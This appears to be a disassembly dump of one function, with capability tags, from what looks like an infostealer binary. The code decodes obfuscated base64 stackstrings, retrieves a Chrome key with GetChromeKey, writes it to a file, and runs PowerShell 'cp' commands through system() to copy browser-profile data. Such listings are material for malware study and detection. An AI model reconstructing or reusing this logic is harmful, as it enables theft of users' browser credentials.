Function at 0x4045f0
Capabilities:
Contain obfuscated stackstrings
Execute command
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x22c
mov ebx, dword [esp + 0x244]
mov dword [esp], 0x447ae0
mov dword [esp + 4], ebx
call sym._strcpy
mov dword [esp + 4], 0x425b5a
mov dword [esp], ebx
call sym._check_exist
test eax, eax
jne 0x405070
mov dword [esp], 0xa4
call sym._malloc
mov dword [esp + 0x38], eax
test eax, eax
je 0x4050ed
mov ebp, eax
lea eax, [esp + 0x78]
mov dword [esp + 0x30], 0
mov ebx, 0x426380
mov dword [esp + 0x28], eax
lea edi, [esp + 0x90]
jmp 0x40467b
add ebx, 0xc
mov eax, 0x42656c
add ebp, 4
cmp eax, ebx
je 0x4047a6
mov dword [esp], 0xc
call sym._malloc
mov dword [ebp], eax
mov esi, eax
mov dword [esp], 0x64
call sym._malloc
mov dword [esi], eax
mov dword [esp], 0x64
call sym._malloc
mov dword [esi + 4], eax
mov dword [esp], 0x64
call sym._malloc
mov dword [esi + 8], eax
mov dword [esp + 4], edi
mov eax, dword [ebx + 4]
mov dword [esp], eax
call sym._base64_decode
mov ecx, dword [esp + 0x240]
mov dword [esp], eax
mov dword [esp + 4], ecx
call sym._create_path
mov edx, 0x736c
mov byte [esp + 0x7a], 0
mov esi, eax
mov eax, dword [esp + 0x28]
mov word [esp + 0x78], dx
mov dword [esp], esi
mov dword [esp + 4], eax
call sym._check_exist
test eax, eax
jne 0x404668
lea eax, [esp + 0x158]
add ebx, 0xc
add ebp, 4
mov dword [esp + 4], eax
mov eax, dword [ebx - 0xc]
mov dword [esp], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x38]
mov edx, dword [edx + ecx*4]
mov dword [esp + 0x2c], edx
mov edx, dword [edx]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 0x3c], edx
call sym._strcpy
mov edx, dword [esp + 0x2c]
mov ecx, dword [edx + 4]
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 0x34], ecx
call sym._strcpy
mov edx, dword [esp + 0x2c]
mov eax, dword [ebx - 4]
mov esi, dword [edx + 8]
mov dword [esp + 4], eax
mov dword [esp], esi
call sym._strcpy
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x3c]
mov dword [esp + 0xc], esi
mov dword [esp], str.Control_print:__s___s___s_n
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sym._printf_3
mov eax, 0x42656c
add dword [esp + 0x30], 1
add dword [0x447ac0], 1
cmp eax, ebx
jne 0x40467b
mov eax, dword [0x447ac0]
test eax, eax
je 0x405050
lea ecx, [esp + 0x158]
mov dword [esp + 0x2c], 0
mov esi, ecx
jmp 0x404f04
mov dword [esp], edi
call sym._GetChromeKey
test eax, eax
mov dword [esp + 0x34], eax
je 0x404fbf
lea eax, [esp + 0x50]
mov dword [esp + 0x78], 0x76783258
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x73463259
mov dword [esp], eax
mov dword [esp + 0x80], 0x304e3358
mov dword [esp + 0x84], 0x6c525859
mov byte [esp + 0x88], 0
call sym._base64_decode
mov dword [esp + 0xc], str.chrome
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 8], 0x447ae0
mov dword [esp + 0x10], eax
mov dword [esp + 4], str._s_s_s_s
mov dword [esp], esi
call sym._sprintf_4
mov dword [esp + 4], 0x425ba3
mov dword [esp], esi
call sym._fopen
mov edx, dword [esp + 0x34]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 0x3c], eax
call sym._fputs
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
mov dword [esp], ecx
call sym._fclose
mov edx, dword [esp + 0x34]
test edx, edx
jne 0x404fbf
lea eax, [esp + 0x44]
mov ebp, dword [ebp + 8]
mov dword [esp + 0x54], 0x764e554c
mov dword [esp + 4], eax
lea eax, [esp + 0x54]
mov dword [esp], eax
mov dword [esp + 0x58], 0x68315762
mov dword [esp + 0x5c], 0x67516d62
mov dword [esp + 0x60], 0x796c475a
mov byte [esp + 0x64], 0
call sym._base64_decode
mov dword [esp + 0x67], 0x6e394754
mov dword [esp + 0x34], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x67345761
mov dword [esp + 0x6f], 0x30464752
mov dword [esp + 0x73], 0x3d3d5159
mov byte [esp + 0x77], 0
call sym._base64_decode
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s_s_s
mov dword [esp], edi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
jne 0x405038
lea eax, [esp + 0x4c]
mov dword [esp + 0x78], 0x76783258
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x756c325a
mov dword [esp], eax
mov dword [esp + 0x80], 0x68523258
mov dword [esp + 0x84], 0x66464764
mov dword [esp + 0x88], 0x3d49475a
mov byte [esp + 0x8c], 0
call sym._base64_decode
mov dword [esp], str.cG93ZXJzaGVsbA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov dword [esp], esi
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 0x447ae0
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___cp__s__s_s_s_s_
call sym._sprintf_4
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x405038
lea eax, [esp + 0x4c]
mov dword [esp + 0x78], 0x764e554c
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x68315762
mov dword [esp], eax
mov dword [esp + 0x80], 0x67516d62
mov dword [esp + 0x84], 0x796c475a
mov byte [esp + 0x88], 0
call sym._base64_decode
mov dword [esp + 0x67], 0x7a6c4753
mov dword [esp + 0x34], eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x79394764
mov dword [esp + 0x6f], 0x3d3d5165
mov byte [esp + 0x73], 0
call sym._base64_decode
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s_s_s
mov dword [esp], edi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
jne 0x405020
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp], str.cG93ZXJzaGVsbA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x54]
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov dword [esp], esi
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 0x447ae0
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
call sym._sprintf_4
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x405020
lea eax, [esp + 0x44]
mov dword [esp + 0x67], 0x764e554c
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x68315762
mov dword [esp + 0x6f], 0x67516d62
mov dword [esp + 0x73], 0x796c475a
mov byte [esp + 0x77], 0
call sym._base64_decode
mov dword [esp + 0x54], 0x7a6c4753
mov dword [esp + 0x34], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
lea eax, [esp + 0x54]
mov dword [esp], eax
mov dword [esp + 0x58], 0x79394764
mov dword [esp + 0x5c], 0x3d3d5165
mov byte [esp + 0x60], 0
call sym._base64_decode
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s_s_s
mov dword [esp], edi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
jne 0x405008
lea eax, [esp + 0x4c]
mov dword [esp + 0x78], 0x76523258
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x73353264
mov dword [esp], eax
mov dword [esp + 0x80], 0x6b463262
mov dword [esp + 0x84], 0x6b393163
mov dword [esp + 0x88], 0x3d3d6759
mov byte [esp + 0x8c], 0
call sym._base64_decode
mov dword [esp], str.cG93ZXJzaGVsbA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov dword [esp], esi
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 0x447ae0
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
call sym._sprintf_4
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x405008
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 0x764e554c
mov dword [esp + 4], eax
lea eax, [esp + 0x54]
mov dword [esp], eax
mov dword [esp + 0x58], 0x68315762
mov dword [esp + 0x5c], 0x67516d62
mov dword [esp + 0x60], 0x796c475a
mov byte [esp + 0x64], 0
call sym._base64_decode
mov dword [esp + 0x78], 0x30566d54
mov dword [esp + 0x34], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x79393264
mov dword [esp], eax
mov dword [esp + 0x80], 0x44783161
mov dword [esp + 0x84], 0x72393262
mov dword [esp + 0x88], 0x7a565761
mov byte [esp + 0x8c], 0
call sym._base64_decode
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s_s_s
mov dword [esp], esi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], esi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
jne 0x404ff0
lea eax, [esp + 0x4c]
mov dword [esp + 0x67], 0x764e3258
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x70743262
mov dword [esp + 0x6f], 0x664e585a
mov dword [esp + 0x73], 0x3d49475a
mov byte [esp + 0x77], 0
call sym._base64_decode
mov dword [esp], str.cG93ZXJzaGVsbA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov dword [esp], edi
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], 0x447ae0
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
call sym._sprintf_4
mov dword [esp], edi
call sym._system
test eax, eax
jne 0x404ff0
lea eax, [esp + 0x44]
mov dword [esp + 0x67], 0x764e554c
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x68315762
mov dword [esp + 0x6f], 0x67516d62
mov dword [esp + 0x73], 0x796c475a
mov byte [esp + 0x77], 0
call sym._base64_decode
mov dword [esp + 0x54], 0x69563256
mov dword [esp + 0x34], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
lea eax, [esp + 0x54]
mov dword [esp], eax
mov dword [esp + 0x58], 0x68524549
mov dword [esp + 0x5c], 0x3d454764
mov byte [esp + 0x60], 0
call sym._base64_decode
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s_s_s
mov dword [esp], edi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
jne 0x404fd8
lea eax, [esp + 0x4c]
mov dword [esp + 0x78], 0x6c643358
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x7c], 0x6b396c59
mov dword [esp], eax
mov dword [esp + 0x80], 0x68525859
mov dword [esp + 0x84], 0x69523258
mov byte [esp + 0x88], 0
call sym._base64_decode
mov dword [esp], str.cG93ZXJzaGVsbA
mov ebx, eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x30]
mov dword [esp], esi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x447ae0
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
call sym._sprintf_4
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x404fd8
add dword [esp + 0x2c], 1
mov eax, dword [esp + 0x2c]
cmp eax, dword [0x447ac0]
jae 0x405050
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x38]
mov dword [esp + 0x54], 0x764e554c
mov dword [esp + 0x58], 0x68315762
mov ebp, dword [eax + ecx*4]
mov dword [esp + 0x5c], 0x67516d62
mov dword [esp + 0x60], 0x796c475a
mov eax, dword [ebp]
mov ebx, dword [ebp + 4]
mov byte [esp + 0x64], 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
lea eax, [esp + 0x54]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 0x67], 0x6a394754
mov dword [esp + 0x34], eax
lea eax, [esp + 0x4c]
mov dword [esp + 4], eax
lea eax, [esp + 0x67]
mov dword [esp], eax
mov dword [esp + 0x6b], 0x67775759
mov dword [esp + 0x6f], 0x68523355
mov dword [esp + 0x73], 0x3d554764
mov byte [esp + 0x77], 0
call sym._base64_decode
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], str._s_s
mov dword [esp], edi
call sym._sprintf_4
mov edx, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], edx
call sym._check_exist
test eax, eax
je 0x4047d0
mov dword [esp + 4], ebx
mov dword [esp], str.failed:__s_n
call sym._printf_3
jmp 0x404892
mov dword [esp], str.failed
call sym._puts
jmp 0x404eef
mov dword [esp + 4], ebx
mov dword [esp], str.failed:__s_n
call sym._printf_3
jmp 0x404db1
mov dword [esp], str.failed
call sym._puts
jmp 0x404c5a
mov dword [esp], str.failed
call sym._puts
jmp 0x404b0b
mov dword [esp], str.failed
call sym._puts
jmp 0x4049ec
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sym._free
add esp, 0x22c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [esp + 0x78]
lea edi, [esp + 0x90]
mov dword [esp + 0x90], 0x6b745762
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x94], 0x3d495861
mov byte [esp + 0x98], 0
call sym._base64_decode
lea ecx, [esp + 0x158]
mov dword [esp + 0xc], ebx
mov dword [esp], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov dword [esp + 0x28], ecx
call sym._sprintf_4
mov ecx, dword [esp + 0x28]
mov dword [esp], ecx
call sym._system
test eax, eax
je 0x404629
mov dword [esp], str.failed
call sym._puts
jmp 0x404629
mov dword [esp], 2
call dword [0x423ecc]
mov dword [esp + 4], 0x425b40
mov dword [esp], eax
call sym._fprintf.constprop.0_1
mov dword [esp], 1
call sym._exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop